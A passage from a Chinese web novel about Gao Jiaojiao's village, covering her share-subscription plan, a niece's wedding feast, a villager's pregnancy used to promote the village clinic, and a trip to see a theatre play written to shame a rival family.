只是一下子盖这么多房子,公中没有那么多银钱。 高娇娇给出了一个解决办法——股权认购。 简单说,就是把盖铺面和仓库的事,当成一个将来会赚钱的生意,看看有没有人想入股。 如果愿意入股,那就按入股多少给一定的股份,等盖好,有了收益后,按照股份定期给分红。 持股达到一定年份后,可以自由转让或者售卖手里的股份。 如果生意赚的多,那股份自然会比当初买入时值钱。 如果生意不赚钱,那股份也就不值钱了,入股的人可能会亏钱。 所以,入不入股全凭自愿,赌的就是对这个生意有没有信心。 高娇娇这番话给高长天和朱钰等人带来了极大的震撼,他们脑中根本没有入股这个概念,只知道合伙做买卖。 合伙是大家一起商量凑钱做买卖,干得好一起赚,干不好一起赔。 从没有过把钱投在还没有的东西身上一说,高娇娇说的入股,在他们听来,就像是给人画大饼。 毕竟这只是个想法,连一块砖一片瓦都没有的东西,就让人家真金白银的往外掏,这不成了空手套白狼? 这么说高娇娇可不认,她反驳道, “我这可不是空手,我有东西。 那河边的空地是不是实实在在,能摸得着看得见的? 地是现成的,集市也是现成的,是不是把房子盖起来就能赚钱了?” 高长天觉得闺女说的有道理,但又觉得哪里不太对。 朱钰忍不住拿扇子敲高娇娇脑袋, “你这就是狡辩,你怎么确保房子盖起来一定能赚到钱?” 高娇娇十分光棍摊手道, “你跟谁合伙做生意,能确保一定能赚到钱? 想赚钱还不想冒风险,世上哪儿有这么便宜的事? 再说,即便不赚钱,那房子不还在呢嘛,有本事你拿走。” “你这就是耍赖。” “你就说这个办法行不行吧?” 朱钰笑了,扇了扇扇子, “可以一试。” 高娇娇得意地抬起下巴,她就说这个老狐狸一定会同意。 其他人你看看我,我看看你。 怎么觉得他俩都像是骗子呢? 高长天知道大家伙的日子过的不安稳,想让他们心甘情愿入股很难,他又做不来以势压人的事,打算等喜宴过后再跟村民好好商量一番。 对此朱钰和高娇娇一点都不意外,朱钰还悄悄跟高娇娇吐槽, “你爹就是心太软,总想你好我好大家好,依我说,就不该给下头的人分那么多钱。 把大头放在公中,办事才方便,才能更好的建立起他的威信。” 高娇娇斜着睨了他一眼, “我爹要不是这种人,你能认他做大哥?” 朱钰顿时就无话可说了。 转眼就到了成亲前一晚,杜衡突然回来了,还带回来了凌十三、徐六、牛安和马飞翼等人。 大晚上一行人骑马飞奔,差点被巡逻队当成土匪,也把高娇娇等人吓了一跳。 杜衡很是不好意思道, “本来想着夫子不会批假,就没提前跟家里打招呼。 没成想夫子竟然给批了假,但只给了一天假。 明天下午必须赶回去,我怕来不及,就让徐六帮忙弄来了通行令,连夜赶了回来。” 众人齐刷刷看向了徐六,宵禁之后还能出城的通行令,可不是一般人。 被这么多人盯着,徐六一点不慌,十分温文有礼解释道, “区区不才,认识几个守城门的官兵,当然主要还是看在家父的面子上,才从衙门弄来了通行令。” 杜衡补充解释道, “他父亲是衙门的捕头。” 众人了然,那就难怪了。 杜衡向众人一一介绍了徐六等人,大家互相见礼过后,牛安十分自来熟跟高长天他们感叹, “你们村的巡逻队可真厉害,居然都巡逻到了官道上,那么多人突然冲出来可把我们吓一跳。” 其实他更想说的是,普通山村巡逻的人,怎么会是那副装扮,身穿软甲肩背弓箭,还拿着大刀,乍一眼看过去,比城中守军都唬人。 第二百九十章 成亲 高长天察觉到牛安的试探,跟朱钰对视一眼,长吁短叹说起他们落户后遇到的麻烦。 又是土匪又是流民,不扩大巡逻范围,不多带点武器防身,大家晚上睡觉都不安稳。 牛安频频点头表示理解,心里想的却是,别的村也遇到过这些麻烦,怎地不见人家搞出这样的巡逻队来? 说到底,还是这个石楼村不一般。 徐六也是这么觉得,两人心照不宣,对待高长天他们的态度更加谦逊有礼起来。 姚春香把杜衡当自家孩子看,对待他带回来的朋友,自然十分热情。 见高长天他们还跟孩子们聊个没完,忙出声招呼道, “饭好了,先吃饭,大晚上跑回来都累了,吃了赶紧洗洗睡,我已经让人铺好了床。” 尽管准备的匆忙,但家里明日就要办喜宴,鸡鸭鱼肉都不缺。 姚春香也不吝啬,给杜衡他们做了四菜一汤,还炒了浆水,做了一大盆鱼鱼。 这个鱼鱼的吃法,还是高娇娇无意中捣鼓出来的。 天热了,大家都不爱吃热饭,都想吃口凉的。 姚春香就叫来罗子娘她们一起做凉粉,高娇娇看到了,就让她们把绿豆粉浆弄的稀一点,做成糊糊状。 然后放进漏勺里,漏出来的糊糊掉入凉水盆就会变成透明的小鱼状粉团。 用刚打上来的井水冰一冰,浇上放凉的浆水汤,吃起来酸酸凉凉,滑溜溜,十分爽口。 杜衡难得回来,还带了同窗好友,姚春香自然要赶紧做了给他们尝一尝。 徐六和牛安自小不说锦衣玉食,也是不愁吃喝,对桌上的肉啊什么的不怎么稀罕,但是对这个看着就好玩的鱼鱼感兴趣的很。 一碗下肚,两人非但不觉得饱,反倒还开了胃。 姚春香看着几个大小伙子,风卷残云一般把饭菜吃了个精光,很是高兴,忙催着他们去才盖好的洗澡间洗漱。 因着在老家的习惯,高家人夏天晚上不冲个澡睡觉都不舒坦。 高娇娇便让姚春香趁着在院里盖厢房,顺便翻修了一下茅厕,加盖了一间洗澡的地方。 还是跟老家时一样,房内梁上悬挂一个木桶,木桶下有活塞,拔掉活塞就会出水。 水桶里的水用完了再添满,下一个人就可以接着洗了。 杜衡几人痛痛快快洗了个澡,就回屋睡觉了。 因着半夜这通闹,高娇娇早上被杜映梅喊醒的时候还没睡够,眼睛都睁不开只想翻个身继续睡。 杜映梅干脆把她给抱了起来,一边往她身上套衣服,一边说着今天高大娘给她们安排的活儿。 她俩要负责招待女宾,还要帮忙送亲,拿喜帕,给闹洞房的小孩发喜糖红包什么的。 高娇娇半睡半醒,听得不清不楚,迷迷糊糊跟着杜映梅去了高春花所在的房间。 高春花这一晚几乎都没怎么睡,天不亮就被喊起来梳妆,高娇娇和杜映梅过去的时候,她已经梳妆打扮好了。 那比纸还白的脸,比血还红的唇,还有黑漆漆一条的长眉毛,和涂的红扑扑的两坨胭脂,看的高娇娇不由倒吸了一口凉气。 这新娘妆,真是,好吓人啊。 杜映梅和高秋花她们却觉得好看,高雪花还拿起高春花用过的口纸,很是羡慕道, “这个口纸的颜色可真好看,难怪要卖一百文一张,大姐,你要是哪天不喜欢了,能送给我吗? 这个好香,我好喜欢啊。” 高春花直接从梳妆匣里抽出几张没用过的口纸,分给了妹妹们,很是大方道, “我从红颜阁里买了一盒,十二张,一张只需六十文,掌柜说保存好能用一两年呢。” “居然能便宜这么多,那真是好划算啊,要是能拼不同的颜色就好了,我听人说还有粉色和暗红的呢,也很好看。” 高雪花很是高兴,比平日里话多了不少。 高春花笑着摸了摸她的头, “可以拼的,我买的时候有个姑娘就拼了一盒,但那两个颜色挑人,需得皮肤够白才好看,我就没要。” “大姐你该要的啊,哪怕少要两张也好,你现在已经比以前白很多了,再养养,还会更白的。” 高雪花想摸摸高春花的脸,又怕弄花了她的妆,手都伸出去了,又缩了回来。 高秋花知道高春花很羡慕姑姑晒不黑的皮肤,很想变白,忙道, “大姐,回头我给你配点七白膏,你多敷敷就白了。 铅粉虽好,敷多了对身子不好,你平日里还是少用一些的好。” “知道了,你现在真像个小大夫了,爱说教。” 高春花笑着应下,拉过妹妹们看她匣子里的东西。 杜映梅惊呼连连, “这个胭脂好看,还亮闪闪的。 那个是啥?涂手指甲的?城里人可真会玩,居然还有专门涂手指甲的粉膏。 这个棍棍是眉笔啊?不是,那是啥?画眼皮的? 眼皮上还要画啊........” 高娇娇看的有趣极了,她没兄弟姐妹,也没有闺蜜,从小到大都是一个人,从没体会过跟一群女孩子一起打扮的乐趣。 都说女为悦己者容,她倒觉得女子打扮主要还是为了自己开心,因为女子天生就喜爱美好的事物。 她也不例外,只不过她懒,让她捣鼓半天画个妆,就为了好看一会儿,又要卸掉,她觉得麻烦。 但她喜欢看别人打扮,她决定等下个月杜映梅及笄的时候,送她一套胭脂水粉,让她也学着打扮打扮。 既然化妆的东西有市场,也可以让医馆试着做一些来。 据她了解,这玩意儿做起来还挺麻烦的,就拿那口纸来说,看着是一张纸,其实是丝绵浸透了红蓝花汁和油膏阴干的。 为了颜色好看,红蓝花汁要先提纯,然后加入蜂蜡、香料、朱砂什么的。 很耗费功夫,保存起来也困难,对于他们这种刚刚起步的小医馆来说,做起来有点难。 他们要是入手这个,不如从护肤品开始,就像秋花许诺要给春花配制的七白膏,就很不错。 一白遮三丑,只要管用,爱美的大姑娘小媳妇还是舍得花银子买的。 不过七白膏成本有点高,或许可以用其它便宜的药材代替,还有澡豆和香胰子什么的,做起来倒是比七白膏成本低....... 高娇娇看着小姑娘们玩闹,心里盘算着怎么赚钱,听到外头有人喊,得知宾客已经到来,忙带着杜映梅走了出去。 离开席时辰还早,高娇娇和杜映梅便带着女宾先去她家那边落座。 今天她家这边主要是用来招待女客,屋里屋外一共安排了十六桌。 为了防晒,还在院子里搭建了个简易棚子,用油布当顶,在东南西北和中间各立了一根柱子做支撑。 桌上已经摆放了瓜子花生之类的零嘴,茶自然是没有的,以她家的条件,买不起这么多茶具。 但天热,肯定得让大家喝水,于是高娇娇就跟姚春香商量,直接在灶房煮一大锅凉茶,放一摞空碗,让大家自己取用。 男宾那边也是一样,杜衡带着凌十三几人帮着张狗子一起迎客。 等到宾客们都来的差不多了,吉时也到了,张狗子就骑上高头大马,带着杜衡等人一起绕着村子走一圈,算作迎亲。 用租来的花轿,接着高春花后,再绕着村子走一圈,算作送亲。 然后就是拜天地高堂,入洞房,开席! 终于开席了,高娇娇和杜映梅对视一眼,都松了口气。 可算是忙完了,能坐下歇歇吃口饭了。 姚春香是个大方人,既然大办,自然不会吝啬。 四凉四热四大件四大碗,一共十六道菜,摆的桌上满满当当。 有鸡有鱼有肘子,吃的本村人开心不已,外村人暗暗震惊。 这年头,还舍得做这么丰盛的席面,高家的家底真不是一般的厚实,还疼孙女的很。 高娇娇和杜映梅一边吃一边留意周围宾客的反应,见大家吃的都很满意,不由放下了心。 正准备继续吃喝,突然听到隔壁桌传来一声惊呼, “哎呀,妹子,你不会是有了吧?” 第二百九十一章 天赐良机 高娇娇扭头看过去,只见李二媳妇抚着胸口蹙着眉正在干呕。 李二他娘紧张地拍着儿媳后背,听到那人的话,惊喜地瞪大了眼睛。 李二媳妇也被这个可能喜的忘了难受,充满期盼地看着婆婆,想说什么,又不知道要说什么。 “娟儿,快跟娘说,你这个月的小日子来了没?” 李二他娘也激动的不知道怎么办了,顾不得周围众人都看着,当众直接问了起来。 李二媳妇想了想,颤抖着嘴唇道, “娘,我,我还没,可我那个不准,小刘大夫说我宫寒,我——” “我这就去喊小刘大夫来,嫂子你别急。” 高娇娇起身就冲了出去,她苦苦等待的良机好像要来了。 很快,刘一手就被高娇娇连拖带拽拉了来。 在众人的注视下,有些不知所措的给李二媳妇把了脉,笑了笑道, “是喜脉,嫂子,恭喜了。” 李二媳妇愣了一瞬,没忍住,扑到婆婆怀里哭了起来。 李二他娘也红了眼眶,手忙脚乱安慰儿媳, “哭啥啊,这是好事,大好事,我就说咱家从没做过坏事,老天爷一定会保佑的。 好孩子,快别哭了,你和老二都是好的,咱们这次肯定能平平安安把孩子生下来.......” 不了解情况的人见她们婆媳这么激动,都好奇不已。 了解情况的柳树沟人都感叹不已,李二媳妇能怀上孩子可是太不容易了。 李二媳妇本名苏娟,七年前嫁给了李二,没多久就怀上了孩子。 因是第一次,自己没察觉到,家里人也没留意,被娘家叫回去帮着种地给累坏了,孩子没保住,还伤了身子。 为此,两家大闹了一场。 李二他娘指着亲家鼻子骂他们不把养女当人看,舍不得儿子受累,硬是把闺女累晕在地里,强势替苏娟同娘家断了亲。 后来过了三四年,苏娟才又怀上了。 结果就遇到了李老头和李大一家出事,家里乱成了一团麻,苏娟忙上忙下,连着熬了几个通宵,将近四个月,已经坐稳了胎的孩子又给掉了。 弄的村里好多人都在背后嚼舌根,说苏娟八字太硬,克己克人,有她在,李家还要死人,甚至还可能绝后。 气的李二他娘扯着嗓子在村里绕着圈骂了一通,这才消停了些。 但苏娟一天怀不上,生不出孩子,这些流言蜚语就一天不能停。 再后来就是逃荒,吃不好睡不好,整天提心吊胆,东奔西跑,别说怀孩子了,女子们连月事都不怎么来了。 直到落户到了石楼村,日子安稳下来,家里有了银钱,李二他娘又张罗起给儿媳妇调理身子的事来。 正好赶上医馆开张,免费给村里的女人们调理身子,还送多子丸和保胎丸,李二他娘就赶紧带着苏娟去医馆调理了一番。 没想到这才不到一个月,居然就怀上了。 李二他娘高兴坏了,一个劲儿夸刘一手医术高明,配制的药丸管用。 引得同样遇到生育难题的女子,追着问个不停。 高娇娇见状,立刻把刘一手往前推了推,笑着大声道, “你们别看咱们小刘大夫年轻,但是医术高明啊,咱们这一路逃荒过来无一伤亡,全靠小刘大夫妙手回春。 除了他,咱们一心堂里还有两位老大夫坐诊,都是医术精湛经验丰富的老大夫。 多子丸和保胎丸就是他们和小刘大夫亲手配制的,经过咱们村多人试用,效果大家也都能看得到。 有月事不顺,怀胎困难的,都可以去一心堂找大夫看看。 身子不爽利的,也可以顺道去把个脉,都是乡里乡亲的,诊金咱们就全免了,只要大家身子康健,我们赚不赚钱无所谓。” 众人一听看诊不要钱,不由有些心动。 有几个迫切想要生孩子的小媳妇,当场就拉着小刘大夫给把脉看诊。 高娇娇看着被众人团团围住的刘一手,十分开心,今天过后,他们医馆应该是不用愁了。 想到此,高娇娇忙让杜映梅去医馆拿一瓶保胎丸过来,送给了苏娟。 苏娟不好意思收,李二他娘要掏钱,高娇娇忙摆手道, “嫂子拿着吧,婶子别跟我客气,只当我送你们的贺礼。 这一胎一定顺顺利利,为你家添丁添喜。” 李二他娘高兴地合不拢嘴,抓着高娇娇的手一个劲儿道, “承你吉言,等孩子生下来,我给你送红鸡蛋。” 姚春香见苏娟有些不安,故意问李二他娘道, “你张口就送红鸡蛋,我想吃花馍怎么办?” 李二他娘想也不想便道, “想吃我就给你送呗,红鸡蛋也送,花馍也送,我家好不容易有了后。 甭管是男娃还是女娃,我都一样疼。” 苏娟的眉头舒展开来,姚春香拍了李二他娘胳膊一下,故意又道, “你别嘴上说的好听,到时候生下来一看是个丫头就脸拉老长。” “那不能,我才不是那种人呢,丫头小子我一样稀罕。 要是能生个跟你家娇娇一样能干的,我得高兴死了。” 李二他娘立刻道,还一脸稀罕地看着高娇娇。 弄的姚春香都怕她把自己宝贝闺女给抢了,忙把高娇娇拽到自己怀里。 高娇娇哭笑不得,看到苏娟抿着唇开心地笑了起来,悄悄凑到姚春香耳边夸了句, “娘,你可真好,给娟嫂子吃了个定心丸,她接下来不用担心了。” 姚春香冲闺女挑眉笑笑,同为女人,自然懂得女人的苦,但凡能帮一把,她肯定是要帮的。 热热闹闹的喜宴结束了,高娇娇和杜映梅尽职尽责,一路送客送到桥边。 女宾这边除了李二媳妇怀孕的惊喜外,一切正常,男宾那边可就不太平了,喝多的一大堆。 其中就包括徐六和牛安,这俩仗着有点酒量,就跟村里的后生拼酒,然后毫无意外,被喝趴下了。 村里的后生平日里哪儿舍得买酒喝,顶多就是天冷的时候,在长辈跟前蹭着喝几口烈酒暖暖身。 难得碰到可以敞开肚子喝酒的场合,自然大喝特喝。 牛安和徐六在风月场上喝的多是度数低香味浓郁的好酒,便宜味儿冲的烈酒没怎么喝过。 一杯下肚,只觉得从嗓子眼烫到胃里,再从下头冲上头,脸立刻就红了,惹得村里的后生笑个不停。 他们年轻气盛,受不得激,被村里后生笑话两句,就上了头,你一杯我一杯,喝的停不下来。 等到杜衡陪着张狗子敬完酒回来,徐六和牛安已经喝高了,踩着凳子拍着桌子,跟吴亮他们叫嚣, “不用杯子了,用碗,谁不喝谁是王八蛋,来,满上,满上.......” 吴亮几人也喝了不少,笑哈哈就要跑去拿碗,杜衡赶紧拦住。 一番忙乱好不容易把人劝住,杜衡看着站都站不稳,坐着身子都直摇晃的牛安和徐六,还有勉强能撑住,但也不怎么清醒的凌十三和马飞翼犯了愁。 他们天黑之前必须回到书院,这四个人这番模样,还怎么骑马赶路啊? 高娇娇得知这个情况,带着杜映梅去了趟医馆,提了一药罐醒酒汤回来。 杜映梅倒药,高娇娇抓人,一手揪住头发往后扥,迫使醉鬼抬起头。 另一只手捏着下颚骨把嘴撬开,再抬起一条腿,压制住上半身,让醉鬼无法动弹。 “灌!” 高娇娇一声令下,杜映梅立刻把一碗药汤灌了进去。 两人配合的十分默契,下手快准狠,看的喝了不少但还算清醒的吴亮等人头皮发紧,赶忙走人。 杜衡也暗暗庆幸自己没喝多,不用被这么残暴对待。 但即便是灌了醒酒汤药,也没这么快起效,指望他们自己骑马赶路是不可能了。 第二百九十二章 难得坐在一起 高娇娇擦了擦手上沾上的头油,对杜衡道, “还是我赶马车送你们吧,让二宝他们几个骑马跟着一起过去。 等进了城,我估摸他们也该酒醒了,你们洗个澡换换衣服再回书院。 我们把马还了,在小院住一晚,明天再回来。” 杜衡点头, “一切都听嫂嫂安排。” 时间紧迫,不敢多耽搁,高娇娇立刻带着杜映梅去套马车,高二宝几人也去马棚里牵出杜衡他们骑回来的马。 背上弓箭,带上大刀,带上衙门给他们村巡逻队发的文牒,众人立刻出发。 有这个文牒,他们才能带着武器进城,不然私自携带武器入城,会被衙门没收,甚至被抓去坐牢。 平日里高长天他们进城,是不带文牒的,他们人多,还有猎户身份,可以随身携带一些打猎的武器。 那些宵小之徒看到他们人多势众,还都是清一色壮汉,也不敢招惹。 高娇娇他们既不是猎户,还都是女人和孩子,要是没有武器防身,路上可不安全。 即便这样,高大壮还是放心不下,想要跟着去。 高娇娇不耐烦摆手道, “二宝他们也不小了,一般毛贼伤不了他们,再说还有我呢,你们瞎担心个什么劲? 我们人少一辆马车快去快回,你们都跟着,磨磨蹭蹭不说,晚上我那小院也住不下啊。” 说完,招呼高二宝他们就走人,根本不给高大壮啰嗦的机会。 高大壮忍不住跟高二壮抱怨, “小妹这性子也太急了,我话还没说完呢。” “行了大哥,今儿你嫁闺女,晚上还得答谢村里来帮忙的人呢,你也确实走不开。” 高二壮很不走心的劝了句,又非常扎心的补了句, “再说,你又打不过小妹,跟着去,到底是她保护你,还是你保护她啊?” 高大壮气的直瞪眼, “说的跟你打得过似的,咱俩半斤八两,谁也别笑话谁。” “所以我从一开始就没打算跟过去啊。” 高二壮说的特别理直气壮,把高大壮气够呛。 高娇娇赶着马车,杜映梅坐在她身侧,杜衡在车厢里照顾几个醉鬼。 高二宝四人跟在马车左右,一行人快速朝城里赶去。 路上行人纷纷侧目,见有人上下打量,目光不善,高二宝立刻一甩马鞭,恶狠狠瞪眼喝道, “看什么看?再看挖了你的狗眼!” 吓的那几人赶紧退到路边,缩着脑袋不敢再多看。 高娇娇看着自觉威风凛凛,很是得意的高二宝,无语地叹了口气。 她总算知道为什么过了这么久,他们村疑似土匪窝的名声还越传越远的原因了,这帮小兔崽子在外头居然这么蠢。 回去了跟朱叔好好说说,这样下去不行,这帮小子还得好好调教啊。 丝毫不知道自己和小伙伴们要迎来史上最残酷调教的高二宝,还在得意自己刚才的凶狠,跟高金宝他们分享自己的心得体验, “谁看咱们,咱们就看回去,眼神凶一点,表现狠一点,让他们知道咱们不好惹,就没人敢惹咱们。” 高金宝对此很是怀疑, “可我看姑姑在外头也不这样啊。” “姑姑当然不能这样,她是女子,女子都爱美,太凶了不漂亮。” 高二宝给出了一个十分自以为是的答案,听得高娇娇差点没被气笑。 很好,这小子,看来是挨揍太少了。 杜映梅察觉到不对,生怕自己被连累,赶忙钻进车厢,冲杜衡道, “二哥,我看你也喝了不少,去外头透透风醒醒酒吧。” 杜衡摸了把脸,他脸很红吗? 不过他还是同意了,因为能跟嫂嫂并肩坐一起,他很怀念。 逃荒的时候,他们经常并肩坐在车辕上,一人赶车,一人寻路,一起对敌,一起逃命。 那时候不用在意男女大防,也不用担心会被人说三道四,比起现在,好像还更亲近一些。 想到陪着张狗子一起敬酒的时候,那些人说的话,杜衡不由抿了抿唇。 他知道有人惦记嫂嫂,但他没想到会有那么多人,那么不遮掩,直接跟他打听嫂嫂可有再嫁的意愿。 看高家人的态度,明显也很想早些给嫂嫂定下婚事,毕竟女子的青春年华宝贵,耽搁不起。 而他明年才能去考秀才,还顶着个小叔子的名头....... 高娇娇见杜衡呆愣愣坐着一动不动,以为他醉的厉害,生怕他就这么直接睡过去,忙冲他道, “你要是困了就回车厢睡,我这儿不用人陪。” “我不困,我就是,就是有点累了。” 杜衡忙解释,他难得有机会跟嫂嫂坐在一起,就算困得要死,他也能忍。 高娇娇觉得杜衡是在逞强,为了孩子的自尊心没戳破,随便找了个话头跟他聊了起来。 杜衡跟高娇娇说了些书院里的事,他两次月考都是第一,再有一次,就能免束脩了。 若是在年中大考中取得好成绩,就能取得助学金,以后不用再花家里的钱,还能补贴一点家用了。 高娇娇让他放轻松,不要太过在意银钱,家里现在不缺钱,医馆和绣坊也逐渐步入了正轨,以后会越来越有好的。 杜衡动了动嘴唇,想说这不一样,那些都是你赚的,我不能一直吃白饭。 可又觉得这话说出来显得生分,就转移话题,说起了杜有才。 据凌十三从家里那边得到的消息,杜有才不知用什么法子糊弄住了乔香柳,乔香柳似乎真把小桃红当他表妹了。 不仅十分照顾,还费心尽力帮小桃红说媒,花了重金请了城中最好的媒人,许诺要给小桃红二百两银子的嫁妆。 因着嫁妆丰厚,小桃红又年轻貌美,哪怕知道她有了身孕,愿意同她相看的男子也有不少。 杜有才也不知是一门心思忙生意没空理会内宅,还是怕乔香柳看出端倪,居然不阻拦,任由小桃红到处相看。 凌十三他娘在信里还说杜有才又收购了不少药材,还准备开医馆,正在四处寻找合适的铺面。 知府夫人一直派人盯着,却没什么举动。 凌母悄悄跟姚嬷嬷打听,姚嬷嬷但笑不语。 凌母觉得她们主仆肯定在暗中谋划什么,但是不告诉她,她也不敢贸然打探,她提醒凌十三不要轻举妄动。 免得影响了知府夫人的计划,反倒适得其反。 高娇娇觉得凌母说的有道理,不清楚情况的时候,还是不要轻举妄动的好。 如果不能一棍子打死杜家父子,倒不如徐徐图之,为打老鼠伤了玉瓶的事可不能干。 杜衡怔了下,唇角抑制不住溢出笑意,故意问了句, “嫂嫂说的玉瓶是指?” “当然是你啊!” 高娇娇不解地看了杜衡一眼,这孩子肯定是喝多了,连这都听不出来了吗? 杜衡觉得自己真有些醉了,居然忍不住又追着问, “在嫂嫂眼中,我真有那么好吗?” 第二百九十三章 带孩子太难了 高娇娇好笑地看着杜衡,喝醉了果然胆大,平日这种有点撒娇的话打死他也问不出口。 笑着拍了拍杜衡的头,高娇娇跟哄小孩一样哄道, “你当然很好啊,长得好看又会读书,还会做饭,温柔体贴会照顾人,我们都把你当宝贝看呢。” 杜衡直接忽略了“我们”,只听到了高娇娇在夸他。 觉得心里像是被灌了一大团蜜,甜的他晕乎乎轻飘飘,好似要飞起来了似的。 可在高娇娇眼中,杜衡还是个一被夸就红了脸,低着头羞涩的不得了的小少年。 不光脸红通通的,连耳根都红透了,软乎乎很好欺负的样子,看的人忍不住想捏一把,看看能不能把他捏成个面团。 但一想这小子现在都比她高了,整天一本正经的很,她要真捏他的脸,能把他臊死。 高娇娇便摁下了蠢蠢欲动的手指,轻咳一声,问起了杜衡和马飞翼写的话本子。 杜衡也假装镇定,认真跟高娇娇说着自己知道的情况。 话本子已经被戏班排成了戏,可能这两天就要正式登台上演了。 高娇娇一听这话顿时来了精神,忙问杜衡是哪个戏班子,在哪个戏园子,什么时候演,她想去看看。 杜衡说了时间和地点,高娇娇一盘算,正好来得及,明天带二宝几个一起去看看,顺便也让他们见见世面。 免得整天在村里坐井观天,养的不知道天高地厚。 杜衡见高娇娇换了只手握缰绳,忙伸手道, “嫂嫂,我来赶会儿车,你歇歇吧。” 高娇娇刚要拒绝,忽然发现杜衡袖子短的很明显,诧异道, “你这袖子?” 再仔细一打量杜衡,不由有点吃惊,这孩子,好像一下子长大了不少。 原本有点肉肉的腮,整个消瘦了下去,显露出了明显的骨骼线条,让他没了之前雌雄莫辨的孩子气,有了些许成年男子才有的锋利。 让高娇娇感觉有点陌生,但更多的还是惊奇。 好像不过才短短两个月,一个成年男子的骨骼,就从这具身体里长了出来,像破土的竹笋,转眼就长成了一棵竹子。 人的成长从来都不是慢慢渐渐,而是一瞬间,忽然就长大了。 高娇娇对自己的成长过程没有感觉,但是亲眼看到了杜衡的变化,让她莫名有种圆满的欣慰。 她忍不住抬起手,轻轻拍了拍杜衡的头, “你长大了啊,又该给你做新衣服了。” 说着,没忍住,又拍了拍。 照这么长下去,再不拍,以后可能就拍不到了,逮着机会,自然要多拍两下。 杜衡被拍的心里又酸又甜,嫂嫂跟他这般亲近,他很开心,可嫂嫂还是把他当小孩,他又不免有些心酸。 也许只有他长的比大哥还高,考上功名,当了官,他在嫂嫂面前,才会被当成一个真正的男人吧。 把杜衡等人送回书院,高娇娇几人在小院住了一晚,次日一早,去街上逛了逛,到了点,就去了戏园子。 这是他们第一次去戏园子,包括高娇娇,都是一副没见识的模样,看哪儿都觉得新鲜。 刚进门,就被守门的小厮拦住了,问他们要戏票。 高娇娇这才知道这出戏这么受欢迎,想来看还得提前买戏票,估计连杜衡都不知道,要不肯定会提前提醒她。 他们没戏票,但是她有钱。 有钱能使鬼推磨,何况区区一个戏园子。 一张戏票二十文,高娇娇直接给了小厮一块二两多的碎银子。 小厮立刻低下了仰着的下巴,不再用鼻孔盯着他们了,还换上了殷勤的笑脸。 很快就给他们弄来的戏票,还给他们安排了一个虽然不居中,但是很靠前的位置。 高二宝几人十分看不惯小厮前倨后恭的态度,一个劲儿冲人家翻白眼。 被高娇娇压低声音训斥道, “先敬罗衫后敬人的人多了去了,你们可以看不惯,但不能心里想什么都表露在脸上。 被人一眼看穿心中所想,就会被人利用,你们要是还想干成点什么事,就要学会把心思藏起来。 还有,记住一点,规则是人定的,人是会变的。 所以用银子能解决很多问题,但不能解决所有问题。” 高二宝眨巴眨巴眼,看向高金宝,高金宝若有所思,剩下两人跟高二宝一样,听得似懂非懂。 高娇娇也不再解释,说的再多,不如他们自己亲身经历一回来的深刻。 教孩子不是填鸭子,一股脑把道理灌进去,他吸收不了也是无用。 招手叫来小二,要了一壶茶两盘点心一碟瓜子一碟蚕豆,高娇娇慢悠悠吃着喝着,等着好戏开场。 高金宝几人看着巴掌点大的盘子里放了那么几块小小的点心,都忍不住肉疼,头挨头凑一起小声嘀咕, “就这么几块就要三十文,这跟抢有啥区别?” “又贵又不好吃,这地方可真坑人。” “十文钱够买二斤瓜子了,在这儿只能买一把,不划算。” “这蚕豆炒的也一般啊,还不如我娘炒的呢。” “戏还没看,就花了好几百文,难怪奶奶总说姑姑大手大脚爱花钱.......” 高娇娇忍无可忍,瞪眼怒视他们, “嫌贵别来,吃还堵不住你们的嘴,话可真多!” “就是,看你们那没见识的样儿,城里比这贵的地方可多着呢。” 杜映梅其实自己也没见过,但她觉得自己是长辈,不能跌份儿,抬着下巴也要附和嫂嫂。 高二宝几个不敢再嘀咕,但也不敢放开肚子吃,这么点东西,还不够他们塞牙缝呢。 好在茶可以续,续茶水不要钱。 于是,戏还没开场,高娇娇他们这桌就续了两回茶水,弄的过来续茶水的小二都忍不住提醒, “各位客官,戏还没开场呢,别喝太多茶,免得一会儿开场了光顾着跑茅厕,错过好戏了。” 高娇娇........ 带孩子长见识,跟自己丢人比起来,她还是宁愿孩子们没见识。 要是能坐井观天一辈子,当个没见识的青蛙其实也还行。 锣声敲响,好戏上场。 高二宝几人一下子就被戏台上的唱念做打吸引去了全部注意力,茶也不喝了,点心也不吃了。 眼睛一眨不眨盯着台上,随着戏班的演绎或喜或悲或气或恨,脸上的表情丰富的高娇娇都叹为观止。 杜映梅更是投入的很,看到戏台上渣男哄骗女子嫁妆的场景,忍不住拍着桌子骂, “男人没有一个好东西!” 惹得周围众人都看了过来,高娇娇赶紧掐了她一把。 捂脸,心累,带孩子太遭罪了。 戏只唱到渣男在外认识了红颜知己就结束了,杜映梅几人听得意犹未尽,恨不得冲上去追着戏班的人问结局。 周围看戏的人也有不少跟杜映梅他们几个一样,恨不得立马看到坏人遭到天打雷劈不得好死的下场。 高娇娇见众人这般,心中暗喜,这个戏要是这么受欢迎,很快就会传入并州府。 她可太期待杜有才亲眼看到这出戏的场景了,一定有意思的很。 并州府杏花巷杜家后院,乔香柳斜倚在贵妃榻上,拧着眉跟马嬷嬷抱怨, “那个桃儿也太挑了吧,西街那个肉铺掌柜到底有哪里不好? 人长得高大壮实,又有房产铺面,还愿意娶她做正妻,她还有什么不满意的啊?” 第二百九十四章 被看见了 马嬷嬷殷勤的给乔香柳捶着腿,笑着哄道, “姑娘莫要生气,当心气坏了身子。 那个桃儿确实不识相,自己都那样了还挑三拣四的,要我说,有人肯娶她就不错了。” “就是,她肚子里可怀着别人的孩子呢,哪个男人愿意当便宜爹啊。” 乔香柳跟马嬷嬷说了桃儿一通坏话,总算把堵在心口的气消了。 马嬷嬷见她脸上有了笑容,赶忙试探着说出杜家福教她的话, “姑娘,我听伺候桃儿的丫鬟说,桃儿想把孩子生下来自己抚养——” “什么?!” 乔香柳立刻坐直了身子,拍着扶手直嚷嚷, “不行,不行,绝对不行! 她无依无靠还没银钱傍身,拿什么养孩子? 到时候肯定又要相公帮忙,岂不是要赖在家里一辈子了?” 马嬷嬷见她反应这么大,暗暗在心里笑她傻,脸上却一脸赞同道, “姑娘担心的正是,我看她就是不安好心,想赖在咱们家里不肯走。 咱们得赶紧想办法,趁着她肚子还不显怀,把她嫁出去。” 乔香柳愁的不行, “可她一个也看不上,怎么嫁啊? 我又不能摁着她的头,逼着她嫁人。” 马嬷嬷凑到乔香柳跟前,压低声音同她道, “姑娘,我看那贱蹄子就是想高嫁,看不上肉铺掌柜那种粗人,想嫁个读书人。 前儿个相看完,从外头回来的时候,恰好遇到了高秀才,我见她盯着高秀才看了好几眼呢。” 乔香柳忍不住嘲笑, 